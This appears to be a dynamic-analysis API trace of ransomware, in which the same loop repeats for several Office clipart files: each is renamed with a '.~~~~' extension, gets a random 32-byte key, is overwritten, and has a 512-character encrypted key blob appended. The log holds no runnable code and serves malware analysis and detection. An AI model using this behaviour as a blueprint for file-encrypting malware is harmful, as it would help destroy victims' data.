	[0091.129] CloseHandle (hObject=0x128) returned 1
	[0091.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.129] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.~~~~")) returned 1
	[0091.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.130] GetLastError () returned 0x0
	[0091.130] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d76f0) returned 1
	[0091.131] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.131] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.131] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21112083417) returned 1
	[0091.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa01932b0, dwHighDateTime=0x1d60e1e)) 
	[0091.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382220
	[0091.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382220 | out: hHeap=0x300000) returned 1
	[0091.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383968
	[0091.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.131] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.131] GetLastError () returned 0x0
	[0091.131] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.131] GetLastError () returned 0x0
	[0091.178] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff34c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.178] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xcb4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0xcb4, lpOverlapped=0x0) returned 1
	[0091.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.179] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.179] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.179] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.179] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.179] CloseHandle (hObject=0x128) returned 1
	[0091.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.221] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.~~~~")) returned 1
	[0091.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.237] GetLastError () returned 0x0
	[0091.244] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.253] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.253] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.253] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21124342235) returned 1
	[0091.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa02c3db0, dwHighDateTime=0x1d60e1e)) 
	[0091.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382680
	[0091.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382680 | out: hHeap=0x300000) returned 1
	[0091.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3844b0
	[0091.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.254] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.254] GetLastError () returned 0x0
	[0091.254] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.254] GetLastError () returned 0x0
	[0091.259] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff8de4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.259] WriteFile (in: hFile=0x124, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x721c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x721c, lpOverlapped=0x0) returned 1
	[0091.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.260] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.260] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.260] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.260] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.261] CloseHandle (hObject=0x124) returned 1
	[0091.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.261] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.~~~~")) returned 1
	[0091.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.262] GetLastError () returned 0x0
	[0091.262] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.264] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.264] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.264] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21125399151) returned 1
	[0091.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa02c3db0, dwHighDateTime=0x1d60e1e)) 
	[0091.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3826b8
	[0091.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3826b8 | out: hHeap=0x300000) returned 1
	[0091.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384548
	[0091.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.265] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.265] GetLastError () returned 0x0
	[0091.265] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.265] GetLastError () returned 0x0
	[0091.268] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff6df2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.268] WriteFile (in: hFile=0x124, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x920e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x920e, lpOverlapped=0x0) returned 1
	[0091.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.269] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.269] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.269] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.269] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.269] CloseHandle (hObject=0x124) returned 1
	[0091.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.269] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.~~~~")) returned 1
	[0091.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.270] GetLastError () returned 0x0
	[0091.270] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.271] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.271] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.271] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21126152794) returned 1
	[0091.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa02e9f10, dwHighDateTime=0x1d60e1e)) 
	[0091.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3826f0
	[0091.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3826f0 | out: hHeap=0x300000) returned 1
	[0091.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384678
	[0091.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.272] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.272] GetLastError () returned 0x0
	[0091.272] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.272] GetLastError () returned 0x0
	[0091.274] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffc210, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.274] WriteFile (in: hFile=0x124, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3df0, lpOverlapped=0x0) returned 1
	[0091.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.275] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.275] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.275] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.275] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.275] CloseHandle (hObject=0x124) returned 1
	[0091.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.275] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.~~~~")) returned 1
	[0091.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.276] GetLastError () returned 0x0
	[0091.276] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.277] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.277] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.277] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21126747141) returned 1
	[0091.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa02e9f10, dwHighDateTime=0x1d60e1e)) 
	[0091.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382760
	[0091.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382760 | out: hHeap=0x300000) returned 1
	[0091.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384710
	[0091.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.278] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.278] GetLastError () returned 0x0
	[0091.278] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.278] GetLastError () returned 0x0
	[0091.280] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff4922, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.280] WriteFile (in: hFile=0x124, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xb6de, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xb6de, lpOverlapped=0x0) returned 1
	[0091.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.281] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.281] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.281] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
